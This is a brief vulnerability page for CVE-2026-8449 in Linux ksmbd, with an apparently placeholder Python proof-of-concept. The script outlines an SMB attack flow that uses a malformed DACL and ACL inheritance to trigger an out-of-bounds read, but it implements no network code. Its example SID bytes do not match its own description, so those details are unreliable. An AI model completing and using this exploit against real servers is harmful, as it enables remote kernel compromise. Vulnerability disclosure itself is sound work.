CVE-2026-8449 Linux ksmbd远程内存损坏漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-8449: Linux ksmbd Remote Memory Corruption via ACL Inheritance This script demonstrates the logic of triggering the vulnerability by setting a malformed DACL. Note: Actual exploitation requires precise memory layout control. """ import socket import struct # Simplified pseudo-code for the attack flow # 1. Connect to SMB server # 2. Authenticate and get Tree Connect # 3. Create a directory # 4. Craft SMB2_SET_INFO request with a malformed DACL # The DACL contains a SID with an inflated 'num_subauth' field. MALFORMED_SID = b"\x01\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\xFF\xFF" # Example malformed SID structure def trigger_vulnerability(target_ip, username, password): print(f"[*] Connecting to {target_ip}...") # Implementation of SMB handshake and auth would go here (using impacket or similar) print("[*] Creating directory...") # SMB2_CREATE request for a directory print("[*] Setting malicious DACL via SMB2_SET_INFO...") # SMB2_SET_INFO request # SecurityInfo field = 0x04 (DACL_SECURITY_INFORMATION) # Buffer contains the MALFORMED_SID print("[*] Creating child entry to trigger inheritance...") # SMB2_CREATE request inside the previous directory # This triggers ksmbd to parse the parent ACL, leading to OOB Read print("[+] Trigger sent. Check target kernel status.") if __name__ == "__main__": # Usage: python3 poc.py <TARGET_IP> <USER> <PASS> pass